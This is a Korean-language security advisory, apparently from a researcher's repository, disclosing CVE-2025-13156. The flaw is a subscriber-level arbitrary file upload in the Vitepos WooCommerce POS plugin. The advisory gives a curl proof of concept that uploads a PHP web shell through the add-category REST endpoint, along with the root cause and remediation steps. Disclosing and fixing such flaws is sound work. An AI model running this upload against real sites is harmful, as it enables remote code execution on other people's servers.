
CVE-2025-13156 공개
CVE-2025-13156 공개
본 저장소는 appsbd가 개발한 Vitepos – WooCommerce용 포스(POS) 플러그인 <= 3.3.0에서 발견된 취약점을 공개합니다.
| CVE 식별자 | 유형 | 구성 요소 | 영향 |
|---|
| CVE-2025-13156 | 인증된(구독자 이상) 임의 파일 업로드를 통한 원격 코드 실행 | modules/class-pos-settings.php api/v1/class-pos-product-api.php | 영향을 받는 사이트 서버에 임의 파일 업로드 가능 |
curl -k \
'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \
-F 'category_name=evil' \
-F 'category_parent=0' \
-F 'category_description=PoC-shell' \
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'
플러그인의 /wp-json/vitepos/v1/product/... 하위 REST 경로는 사실상 모든 로그인 사용자(is_user_logged_in())를 허용하는 느슨한 권한 검사에 의존하며, 호출자가 POS 사용자인지 제품 용어를 관리할 수 있는 권한이 있는지 확인하지 않습니다. 결과적으로 구독자와 같은 낮은 권한 역할이 add-category/update-category와 같은 엔드포인트에 접근할 수 있습니다.
current_user_can('manage_product_terms')를 확인하는 엄격한 permission_callback을 적용합니다.wp_check_filetype_and_ext()를 사용하여 wp_handle_upload()를 사용하며, 알 수 없거나 실행 가능한 유형은 거부합니다.WebRoot 바로 아래에 배치할 수 없기 때문에 환경에 따라 성공하지 못할 수 있습니다. Uploads 디렉토리 아래는 기본적으로 PHP 실행이 허용되지 않으므로, 특별히 이상한 환경이 아니라면 어렵지 않을까 생각했습니다.
MIME 허용 목록에서 application/octet-stream 문자열을 본 순간 나쁜 예감이 들었지만 실제로 성공해서 깜짝 놀랐습니다.
원래는 WordPress 핵심 부분이 PHP 업로드를 막고 있지만, 이 플러그인은 자체 처리를 구현하고 있었기 때문에 이번 취약점이 재현될 수 있었습니다. 꽤 드문 케이스입니다.
이름: MooseLove
역할: 독립 보안 연구원 / 버그 헌터
연락처: 요청 시 제공
본 권고는 공공 보안 인식을 위해 제공됩니다. 출처를 밝히고 자유롭게 공유할 수 있습니다.